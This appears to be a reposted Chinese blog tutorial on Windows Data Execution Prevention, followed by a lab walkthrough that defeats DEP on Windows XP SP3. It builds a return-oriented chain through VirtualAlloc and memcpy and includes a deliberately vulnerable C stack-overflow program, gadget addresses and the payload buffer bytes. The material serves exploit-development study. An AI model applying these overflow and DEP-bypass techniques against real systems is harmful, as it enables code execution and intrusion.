数据执行保护DEP_信息系统安全等级保护基本要求

(22) 2024-09-10 22:01:01

由于许多通用的漏洞利用方法和大量的蠕虫微软决定在硬件层和软件层加入内存保护。所以从windows XP SP2 (Windows XP Tablet PC Edition 2005) Windows Server 2003 Service Pack (OS level) 开始、从 visual studio 2003 (编译器方面)开始加入了许多内存保护功能。


我简单的介绍下 数据执行保护Data Execution Prevention (DEP)

DEP是用来弥补计算机对数据和代码混淆这一天然缺陷。DEP的作用是阻止数据页(列如堆页,各种堆栈页以及内存池页)执行代码。根据实现的机制不同分为:软件DEP,硬件DEP。软件DEP页就是微软增加的SafeSeh保护,这种机制与CPU硬件无关,safeseh保护就不在本文作介绍了。硬件DEP保护,需要CPU支持,DEP的工作状态可以分为四种。

 

1- OptIn DEP只对所有的系统服务和必须的程序有效。(必须的程序:VS中编译时启用了/NXCOMPACT选项的程序)多用于普通用户板的操作系统,windows xp, windows Vista, windows7(32位)

2- OptOut: DEP对所在系统服务和第三方程序有效,但是你可以从控制面板中设置某些程序为例外。多用于服务器版操作系统windows2003, window2008

3- AlwaysOn 完全启用DEP保护,没有例外。工作在64位操作系统

4- AlwaysOff :所有进程禁用DEP

在xp系统中 通过编辑boot.ini文件的noexecute段来设置DEP

怎样攻击DEP?

DEP针对溢出攻击的本源,完善了内存管理机制。同过将内存特设置成不可执行,来阻止堆栈中shellcode的执行。但DEP也有自身的局限性

由于兼容性的原因windows不能对所有进程开启DEP保护(除64操作系统),否则可能会出现异常。当DEP工作在OptIn和OptOut,利用API可以动态关闭DEP,这些API函数的调用没有任何限制,所有的进程都可以调用这些API函数,这也为我们突破DEP铺上大道。

DEP的介绍到此,下面是正面挑战DEP

开启DEP保护是将数据页设置成不可执行,那我们将存放shellcode的内存页修改成可执行状态,或者直接关闭DEP保护不是就OK了,没错正面击败DEP常用的就是使用的这个思想。

(1)通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行。

(2)通过跳转到VirtualProtect函数将存放shellcode所在内存页设置为可以执行,然后在跳到shellcode执行

(3)通过调转到VritualAlloc函数申请一片可执行区域,然后将shellcode拷贝进去,然后去执行shellcode

本文我将主要介绍用第三种方法攻击DEP,因为在做这个实验时遇到了不少的问题,我觉得这个方法也比前两种复杂些,希望大家在看过我的这篇文章后,若有什么好的方法可以一起交流。

实验环境:

操作系统 windowssp3  (在不同平台上shellcode的构造会有差异的)

DEP状态:Optout (为直管绕过DEP,本次试验不开启GS,SafeSeh)

编译器: vc+6.0

build版本 dubeg

使用工具: Ollydbg.exe,OllyFindAddr插件,windbg

首先看

LPVOID VirtualAlloc( LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect ); lpAddress:申请内存缓冲区起始地址;(传入0x00) dwSize: 申请内存大小 (本实验申请0xFF(256)空间, 这个值注就是因为这里困扰我好久) flAllocationType: 申请空间类型 (0x00001000) flProtect 申请空间的内存访问类型,(0x00000040  可读可写可执行) 由于参数含有0x00使用strcpy系列函数会造成shellcode截断,所以本实验使用memcpy函数来引发异常。 使用windbg的u 函数名, 反汇编VritualAlloc memcpy函数(为了后面参数准备)。 VirtualAlloc函数最终会去调用VritualAllocEx函数。VritualAllocEx函数多增加了一个参数hProcess,由于是本进程自身,所以传入0xFFFFFFFF  7C809AE1 >  8BFF            MOV EDI,EDI 7C809AE3    55              PUSH EBP 7C809AE4    8BEC            MOV EBP,ESP 7C809AE6    FF75 14         PUSH DWORD PTR SS:[EBP+14]   7C809AE9    FF75 10         PUSH DWORD PTR SS:[EBP+10] 7C809AEC    FF75 0C         PUSH DWORD PTR SS:[EBP+C] 7C809AEF    FF75 08         PUSH DWORD PTR SS:[EBP+8] 7C809AF2    6A FF           PUSH -1 7C809AF4    E8 0     CALL kernel32.VirtualAllocEx   函数地址 7C809AF9    5D              POP EBP 7C809AFA    C2 1000         RETN 10   VritualAlloc函数返回是带有16个字节偏移 memcpy函数 ntdll!memcpy: 7c921db3 55              push    ebp 7c921db4 8bec            mov     ebp,esp 7c921db6 57              push    edi 7c921db7 56              push    esi 7c921db8 8b750c          mov     esi,dword ptr [ebp+0Ch]   目的地址(开辟的可执行空间首地址) 7c921dbb 8b4d10          mov     ecx,dword ptr [ebp+10h]   复制长度 7c921dbe 8b7d08          mov     edi,dword ptr [ebp+8]     源地址存放shellcode 7c921dc1 8bc1            mov     eax,ecx 

有些关键信息我就直接注释到代码当中,对应填充信息这样比价好理解

测试代码

#include<windows.h>
#include "stdio.h"

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //1.ebp 地址被覆盖,
"\x85\x8b\x1d\x5d";//ebp在溢出时破坏,后面调用Vritualprotect函数要使用ebp,首先恢复ebp方法寻找 push esp pop ebp retn 指令(5d1d8b85)。

void test()
{

    charstr[176];
    memcpy(str,shellcode, 520); //复制长度超过缓冲区长度,进而覆盖函数返回地址
}
int main()
{

    HINSTANCEhInstan = LoadLibrary("shell32.dll");
    chartemp[200];
   test();
    return0;
}

这时请出我们的OllyFindAddr插件,在Disable DEP <=XP sp3收索结果的setp3部分查看

好了现在载入OD,观察函数返回地址,堆栈数据

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第2张

发现返回地址成功被覆盖,Retn 跳到push esp pop ebp retn 4 修改ebp = 0x0012fe64,retn 4 首先将下一条指令弹给eip然后esp+4 说以执行完push esp pop ebp retn 4之后esp 指向 0x0012fe70 接下来就是调用VritualAlloc函数申请可执行空间。根据前面的分析 VritualAlloc函数地址 7C809AF4  放在更改ebp指令后面,在堆栈中对应参数的起始位置应该是0x0012fe70

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张

准备好压入参数后,载入观察堆栈状态。

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第4张

成功转到VirtualAllocEx由于VirtualAllocEx函数自动回复堆栈平衡,pop ebp指令会再次破坏ebp, 执行到retn 10时 ,esp =0x0012fe88。执行完retn 10时 esp = 0x12fe9C。


现在我们要来解决一个问题,先来看看memcpy函数

ntdll!memcpy: 7c921db3 55              push    ebp 7c921db4 8bec            mov     ebp,esp 7c921db6 57              push    edi 7c921db7 56              push    esi 7c921db8 8b750c          mov     esi,dword ptr [ebp+0Ch]   目的地址(开辟的可执行空间首地址) 7c921dbb 8b4d10          mov     ecx,dword ptr [ebp+10h]   复制长度 7c921dbe 8b7d08          mov     edi,dword ptr [ebp+8]     源地址存放shellcode

其中目的内存地址(0x00),复制长度(0xFF)都可以直接在shellcode中写入,唯一的难点在于对内存源其实地址的确定。实际上我们不需要精确定位,只要保证源内存起始地址在shellcode中关键代码前面就可以了。因此我们使用一个金典的指令串pushesp jmp eax来填充这个参数(我简单介绍下我对这指令传理解:push esp 就是将当前esp指向的地址压入,而当前指向地址后面就可以存放用来攻击的shellcode,jmp eax 跳转到eax保存的指令地址,执行完eax保存指令后,跳转到memcpy函数执行)接下来就是如何布置eax,而关于eax具体指向什么我们暂不讨论,根据前面的分析在esp =0x0012fe88地方将接下来弹入eip执行(esp+4),我们放上保存eax的指令:pop eax retn。VirtualAlloc还带有16自己偏移(esp+14),所以在执行pop eax时 esp =0x0012fe9C,在这个地方我们还不知道接下来堆栈中参数存放位置,暂时0x0012fe9C填充.好了接下来验证下我们程序的流程是不是按照我们设计的路线执行。再次请出OllyFindAddr寻找pop eax retn指令 在这里我找的是7ffa1577地址

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第5张

此时构造的缓冲区:

"\x90\x90\x90\x90"//1.ebp  地址被覆盖,
"\x85\x8b\x1d\x5d"//push esp pop ebp retn 修正ebp
"\xF4\x9A\x80\x7C"//call VirtualAllocEx申请可执行空间
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"//-1
"\x00\x00\x03\x00" //申请空间首地址
"\xFF\x00\x00\x00" //申请空间大小
"\x00\x10\x00\x00" //申请空间类型1000;
"\x40\x00\x00\x00" //申请空间访问类型
"\x90\x90\x90\x90"
"\x77\x15\xfa\x7f" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"  // pop pop xxx retn(pop给eax)
"\x85\x8b\x1d\x5d"; //修正ebp   push esp pop ebpretn;

载入观察堆栈情况

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第6张

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张

执行到pop eax时注意堆栈中esp =0x0012fe9c,看来前面的分析没得问题,观察堆栈esp+4,存放的是修正ebp地址,接下来就会去修正ebp.

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第8张

如图修正ebp后esp和ebp是指向同一个位置,在此次实验中ebp=esp=0x0012fea4,而memcpy中的源内存地址参数是位于ebp+0x0c,如果我们希望使用pushesp的方式设置源内存地址,就需要让esp指向ebp+10,这样在执行完push esp之后源内存地址刚好在ebp+C。在执行完retn 4后 esp = ebp+8,所以再让esp+8就OK,还有个问题需要解决就是操作push esp 后怎么让程序回收。

首先解决第一个问题,让esp+8在这里使用pop ecx/ebx/edi/esi/edx retn  很容易找到

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张

数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第10张

在执行完pop ecxretn(0x7ffa1743) 后 ebp=0x0012fea4 esp=0x0012feb4,

再来分析第二个问题,在完成pushesp后,执行jmp eax。由本次构造的shellcode形式eax 存放的指令地址一定是pop pop.....retn到底弹出多少个喃。我们先来看看memcpy还差什么参数

目的地址(开辟的可执行空间首地址)
ntdll!memcpy: 7c921db3 55              push    ebp 7c921db4 8bec            mov     ebp,esp 7c921db6 57              push    edi 7c921db7 56              push    esi 7c921db8 8b750c          mov     esi,dword ptr [ebp+0Ch]   源地址存放shellcode 7c921dbb 8b4d10          mov     ecx,dword ptr [ebp+10h]   复制长度 7c921dbe 8b7d08          mov     edi,dword ptr [ebp+8]     目的地址(开辟的可执行空间首地址) ebp+8 目的地址,可以放在push esp jmp eax前面。ebp+10 复制长度,要放在push esp jmp eax后面一条 所以在执行问push esp操作后回收程序控制权最佳位置在ebp+14h, 此时esp = ebp+C 说以使用eax只要指向类似pop pop retn 指令即可。然后在ebp+14h位置放置memcpy函数的切入点0x7c921db8, 这样在执行完pop pop retn之后就可以转入memcpy切入点。再次请出OllyFIndAddr 查找pop pop retn地址  0x5d173b54 数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第12张 然后寻找push esp jmp eax  这个地址我找了好久,不知道有没有什么神插件可以很轻松找到 我的方法是在OD里依次查看每一个模块,搜索命令列 push esp jmp eax   在RPCRT4模块中可以找到地址是:0x77EBC6C6 构造好缓冲区 "\x02\xec\x72\x7d"  // pop pop xxx retn "\x85\x8b\x1d\x5d"  //修正ebp   push esp pop ebp retn; "\x43\x17\xfa\x7f"    pop retn "\x00\x00\x03\x00" // "\x00\x00\x03\x00" //(ebp+8)   目的地址(开辟的可执行空间) "\xc6\xc6\xEB\x77" //push esp jmp eax;(ebp+c)源地址放 "\xFF\x00\x00\x00" //shellcode 长度  (ebp+10) "\xb8\x1d\x92\x7c";//memspy函数切入点 mov esi,dword ptr ss:[ebp+C] 现在载入观察堆栈情况/ 数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第14张 哇哈哈,程序已经进入memcpy 成功安装好导弹头,现在我们只要上起导弹(shellcode)了。继续单步执行到 可以发现在retn指令之前有一条LEAVE,Leave的作用相当==mov esp,ebp和pop ebp,此时esp = 12FEA8 所以写入0x00,所以在retn之后就会到0x00去执行复制进去的shellcode. 最后还有一个问题还要解决,我看看此时esi指向的值是0x0012FE84,也就是从我们传入的复制大小0xFF000000开始复制。继续单步执行到这时我们上上我们的shellcode,让它爽个够数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第15张数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第15张  接下来单步到0x00 数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第18张 发现这几条指令执行后会造成异常,无发执行下面的shellcode,所以我们现在要清除这些脏数据。首先B81D927C这个地方根本不能改,所以只有改复制长度Ff。在这里EB(jmp)是个不错的想法,现在我们试试 EB xx 00 00 
所以xx = 06 ,现在我们修改复制长为0x6EB00000.试试 数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第1张数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第20张 哈哈,,jmp过了脏数据,终于投入shellcode的怀抱。此时你可以按下F9,导弹就会发射 本次试验我上的时弹出计算器,结束本进程的shellcode。 数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第21张 DEP总算是攻破了。 然而攻破DEP的方法不止这一种,如果你使用此方法攻破DEP,你会学到很多金典布置shellcode的指令。数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第15张数据执行保护DEP_信息系统安全等级保护基本要求 (https://mushiming.com/)  第15张

THE END

发表回复